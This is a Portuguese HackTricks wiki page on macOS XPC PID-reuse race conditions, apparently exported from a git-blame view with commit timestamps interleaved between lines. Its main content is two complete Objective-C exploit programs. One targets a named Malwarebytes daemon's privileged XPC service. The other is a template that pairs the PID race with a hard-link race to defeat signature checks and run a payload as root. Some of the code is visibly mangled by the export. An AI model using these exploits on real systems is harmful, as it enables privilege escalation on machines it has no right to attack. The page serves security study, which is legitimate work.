2024-07-19 10:12:26 +00:00
# macOS PID Reuse
2023-10-15 17:30:06 +00:00
2024-07-19 10:12:26 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Learn & practice GCP Hacking: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2023-10-15 17:30:06 +00:00
2024-07-19 10:12:26 +00:00
< details >
2023-10-15 17:30:06 +00:00
2024-07-19 10:12:26 +00:00
< summary > Support HackTricks< / summary >
2024-01-04 10:31:50 +00:00
2024-07-19 10:12:26 +00:00
* Check the [**subscription plans** ](https://github.com/sponsors/carlospolop )!
* **Join the** 💬 [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) and [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
2023-10-15 17:30:06 +00:00
< / details >
2024-07-19 10:12:26 +00:00
{% endhint %}
2023-10-15 17:30:06 +00:00
2024-07-19 10:12:26 +00:00
## PID Reuse
2023-10-15 17:30:06 +00:00
2024-07-19 10:12:26 +00:00
Quando um **serviço XPC** do macOS está verificando o processo chamado com base no **PID** e não no **token de auditoria** , ele é vulnerável a um ataque de reutilização de PID. Este ataque é baseado em uma **condição de corrida** onde um **exploit** vai **enviar mensagens para o serviço XPC** **abusando** da funcionalidade e logo **após** isso, executando ** `posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)` ** com o binário **permitido** .
2023-10-15 17:30:06 +00:00
2024-07-19 10:12:26 +00:00
Esta função fará com que o **binário permitido possua o PID** , mas a **mensagem XPC maliciosa teria sido enviada** logo antes. Assim, se o serviço **XPC** **usar** o **PID** para **autenticar** o remetente e verificá-lo **APÓS** a execução de ** `posix_spawn` **, ele pensará que vem de um processo **autorizado** .
2023-10-15 17:30:06 +00:00
2024-02-05 03:11:06 +00:00
### Exemplo de Exploit
2023-10-15 17:30:06 +00:00
2024-02-05 03:11:06 +00:00
Se você encontrar a função ** `shouldAcceptNewConnection` ** ou uma função chamada por ela **chamando** ** `processIdentifier` ** e não chamando ** `auditToken` **. Isso provavelmente significa que está **verificando o PID do processo** e não o token de auditoria.\
2023-10-15 17:30:06 +00:00
Como por exemplo nesta imagem (retirada da referência):
2024-05-05 22:04:08 +00:00
< figure > < img src = "../../../../../../.gitbook/assets/image (306).png" alt = "https://wojciechregula.blog/images/2020/04/pid.png" > < figcaption > < / figcaption > < / figure >
2023-10-15 17:30:06 +00:00
2024-02-05 03:11:06 +00:00
Verifique este exemplo de exploit (novamente, retirado da referência) para ver as 2 partes do exploit:
2023-10-15 17:30:06 +00:00
2024-02-05 03:11:06 +00:00
* Uma que **gera vários forks**
2024-05-05 22:04:08 +00:00
* **Cada fork** irá **enviar** o **payload** para o serviço XPC enquanto executa ** `posix_spawn` ** logo após enviar a mensagem.
2023-10-15 17:30:06 +00:00
{% hint style="danger" %}
2024-07-19 10:12:26 +00:00
Para que o exploit funcione, é importante ` export`` `` ` **`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`** ou colocar dentro do exploit:
2023-10-15 17:30:06 +00:00
```objectivec
asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");
```
{% endhint %}
2024-04-15 03:55:24 +00:00
{% tabs %}
{% tab title="NSTasks" %}
2024-07-19 10:12:26 +00:00
Primeira opção usando ** `NSTasks` ** e argumento para iniciar os filhos para explorar o RC
2023-10-15 17:30:06 +00:00
```objectivec
2024-02-05 03:11:06 +00:00
// Code from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
2023-10-15 17:30:06 +00:00
// gcc -framework Foundation expl.m -o expl
#import <Foundation/Foundation.h>
#include <spawn.h>
#include <sys/stat.h>
#define RACE_COUNT 32
#define MACH_SERVICE @"com.malwarebytes.mbam.rtprotection.daemon"
#define BINARY "/Library/Application Support/Malwarebytes/MBAM/Engine.bundle/Contents/PlugIns/RTProtectionDaemon.app/Contents/MacOS/RTProtectionDaemon"
// allow fork() between exec()
asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");
extern char **environ;
// defining necessary protocols
@protocol ProtectionService
- (void)startDatabaseUpdate;
- (void)restoreApplicationLauncherWithCompletion:(void (^)(BOOL))arg1;
- (void)uninstallProduct;
- (void)installProductUpdate;
- (void)startProductUpdateWith:(NSUUID *)arg1 forceInstall:(BOOL)arg2;
- (void)buildPurchaseSiteURLWithCompletion:(void (^)(long long, NSString *))arg1;
- (void)triggerLicenseRelatedChecks;
- (void)buildRenewalLinkWith:(NSUUID *)arg1 completion:(void (^)(long long, NSString * ))arg2;
- (void)cancelTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)startTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)unredeemLicenseKeyWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)applyLicenseWith:(NSUUID *)arg1 key:(NSString * )arg2 completion:(void (^)(long long))arg3;
- (void)controlProtectionWithRawFeatures:(long long)arg1 rawOperation:(long long)arg2;
- (void)restartOS;
- (void)resumeScanJob;
- (void)pauseScanJob;
- (void)stopScanJob;
- (void)startScanJob;
- (void)disposeOperationBy:(NSUUID *)arg1;
- (void)subscribeTo:(long long)arg1;
- (void)pingWithTag:(NSUUID *)arg1 completion:(void (^)(NSUUID * , long long))arg2;
@end
void child() {
// send the XPC messages
NSXPCInterface *remoteInterface = [NSXPCInterface interfaceWithProtocol:@protocol(ProtectionService)];
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:MACH_SERVICE options:NSXPCConnectionPrivileged];
xpcConnection.remoteObjectInterface = remoteInterface;
[xpcConnection resume];
[xpcConnection.remoteObjectProxy restartOS];
char target_binary[] = BINARY;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(& attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(& attr, flags);
posix_spawn(NULL, target_binary, NULL, & attr, target_argv, environ);
}
bool create_nstasks() {
NSString *exec = [[NSBundle mainBundle] executablePath];
NSTask *processes[RACE_COUNT];
for (int i = 0; i < RACE_COUNT ; i + + ) {
processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @"imanstask" ]];
}
int i = 0;
struct timespec ts = {
.tv_sec = 0,
.tv_nsec = 500 * 1000000,
};
nanosleep(& ts, NULL);
if (++i > 4) {
for (int i = 0; i < RACE_COUNT ; i + + ) {
[processes[i] terminate];
}
return false;
}
return true;
}
int main(int argc, const char * argv[]) {
if(argc > 1) {
// called from the NSTasks
child();
} else {
NSLog(@"Starting the race");
create_nstasks();
}
return 0;
}
```
2024-04-15 03:55:24 +00:00
{% endtab %}
2024-01-04 10:31:50 +00:00
2024-04-15 03:55:24 +00:00
{% tab title="fork" %}
2024-07-19 10:12:26 +00:00
Este exemplo usa um ** `fork` ** bruto para lançar **filhos que explorarão a condição de corrida de PID** e, em seguida, explorar **outra condição de corrida via um link físico:**
2024-04-15 03:55:24 +00:00
```objectivec
// export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES
// gcc -framework Foundation expl.m -o expl
2023-10-15 17:30:06 +00:00
2024-04-15 03:55:24 +00:00
#include <Foundation/Foundation.h>
#include <spawn.h>
#include <pthread.h>
2023-10-15 17:30:06 +00:00
2024-04-15 03:55:24 +00:00
// TODO: CHANGE PROTOCOL AND FUNCTIONS
@protocol HelperProtocol
- (void)DoSomething:(void (^)(_Bool))arg1;
@end
2023-10-15 17:30:06 +00:00
2024-04-15 03:55:24 +00:00
// Global flag to track exploitation status
bool pwned = false;
/**
* Continuously overwrite the contents of the 'hard_link' file in a race condition to make the
* XPC service verify the legit binary and then execute as root out payload.
*/
void *check_race(void *arg) {
while(!pwned) {
// Overwrite with contents of the legit binary
system("cat ./legit_bin > hard_link");
usleep(50000);
// Overwrite with contents of the payload to execute
// TODO: COMPILE YOUR OWN PAYLOAD BIN
system("cat ./payload > hard_link");
usleep(50000);
}
return NULL;
}
2023-10-15 17:30:06 +00:00
2024-04-15 03:55:24 +00:00
void child_xpc_pid_rc_abuse(){
// TODO: INDICATE A VALID BIN TO BYPASS SIGN VERIFICATION
#define kValid "./Legit Updater.app/Contents/MacOS/Legit"
extern char **environ;
2023-10-15 17:30:06 +00:00
2024-04-15 03:55:24 +00:00
// Connect with XPC service
// TODO: CHANGE THE ID OF THE XPC TO EXPLOIT
NSString* service_name = @"com.example.Helper";
NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];
// TODO: CNAGE THE PROTOCOL NAME
NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];
[connection setRemoteObjectInterface:interface];
[connection resume];
id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error) {
NSLog(@"[-] Something went wrong");
NSLog(@"[-] Error: %@", error);
}];
NSLog(@"obj: %@", obj);
NSLog(@"conn: %@", connection);
// Call vulenrable XPC function
// TODO: CHANEG NAME OF FUNCTION TO CALL
[obj DoSomething:^(_Bool b){
NSLog(@"Response, %hdd", b);
}];
// Change current process to the legit binary suspended
char target_binary[] = kValid;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(& attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(& attr, flags);
posix_spawn(NULL, target_binary, NULL, & attr, target_argv, environ);
}
2023-10-15 17:30:06 +00:00
2024-04-15 03:55:24 +00:00
/**
* Function to perform the PID race condition using children calling the XPC exploit.
*/
void xpc_pid_rc_abuse() {
#define RACE_COUNT 1
extern char **environ;
int pids[RACE_COUNT];
2023-10-15 17:30:06 +00:00
2024-04-15 03:55:24 +00:00
// Fork child processes to exploit
for (int i = 0; i < RACE_COUNT ; i + + ) {
int pid = fork();
if (pid == 0) { // If a child process
child_xpc_pid_rc_abuse();
}
printf("forked %d\n", pid);
pids[i] = pid;
}
2024-04-06 19:38:49 +00:00
2024-04-15 03:55:24 +00:00
// Wait for children to finish their tasks
sleep(3);
2024-04-06 19:38:49 +00:00
2024-04-15 03:55:24 +00:00
// Terminate child processes
for (int i = 0; i < RACE_COUNT ; i + + ) {
if (pids[i]) {
kill(pids[i], 9);
}
}
}
2024-04-06 19:38:49 +00:00
2024-04-15 03:55:24 +00:00
int main(int argc, const char * argv[]) {
// Create and set execution rights to 'hard_link' file
system("touch hard_link");
system("chmod +x hard_link");
2024-04-06 19:38:49 +00:00
2024-04-15 03:55:24 +00:00
// Create thread to exploit sign verification RC
pthread_t thread;
pthread_create(& thread, NULL, check_race, NULL);
2024-04-06 19:38:49 +00:00
2024-04-15 03:55:24 +00:00
while(!pwned) {
// Try creating 'download' directory, ignore errors
system("mkdir download 2>/dev/null");
2024-04-06 19:38:49 +00:00
2024-04-15 03:55:24 +00:00
// Create a hardlink
// TODO: CHANGE NAME OF FILE FOR SIGN VERIF RC
system("ln hard_link download/legit_bin");
2024-04-06 19:38:49 +00:00
2024-04-15 03:55:24 +00:00
xpc_pid_rc_abuse();
usleep(10000);
2024-04-06 19:38:49 +00:00
2024-04-15 03:55:24 +00:00
// The payload will generate this file if exploitation is successfull
if (access("/tmp/pwned", F_OK ) == 0) {
pwned = true;
}
}
2024-04-06 19:38:49 +00:00
2024-04-15 03:55:24 +00:00
return 0;
}
```
2024-05-05 22:04:08 +00:00
{% endtab %}
{% endtabs %}
2024-04-15 03:55:24 +00:00
## Outros exemplos
2024-04-06 19:38:49 +00:00
2024-04-15 03:55:24 +00:00
* [https://gergelykalman.com/why-you-shouldnt-use-a-commercial-vpn-amateur-hour-with-windscribe.html ](https://gergelykalman.com/why-you-shouldnt-use-a-commercial-vpn-amateur-hour-with-windscribe.html )
2023-10-15 17:30:06 +00:00
## Referências
* [https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/ ](https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/ )
* [https://saelo.github.io/presentations/warcon18\_dont\_trust\_the\_pid.pdf ](https://saelo.github.io/presentations/warcon18\_dont\_trust\_the\_pid.pdf )
2024-07-19 10:12:26 +00:00
{% hint style="success" %}
Aprenda e pratique Hacking AWS:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Aprenda e pratique Hacking GCP: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2023-10-15 17:30:06 +00:00
2024-07-19 10:12:26 +00:00
< details >
2024-01-04 10:31:50 +00:00
2024-07-19 10:12:26 +00:00
< summary > Support HackTricks< / summary >
2023-10-15 17:30:06 +00:00
2024-07-19 10:12:26 +00:00
* Confira os [**planos de assinatura** ](https://github.com/sponsors/carlospolop )!
* **Junte-se ao** 💬 [**grupo do Discord** ](https://discord.gg/hRep4RUj7f ) ou ao [**grupo do telegram** ](https://t.me/peass ) ou **siga** -nos no **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) e [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) repositórios do github.
2023-10-15 17:30:06 +00:00
< / details >
2024-07-19 10:12:26 +00:00
{% endhint %}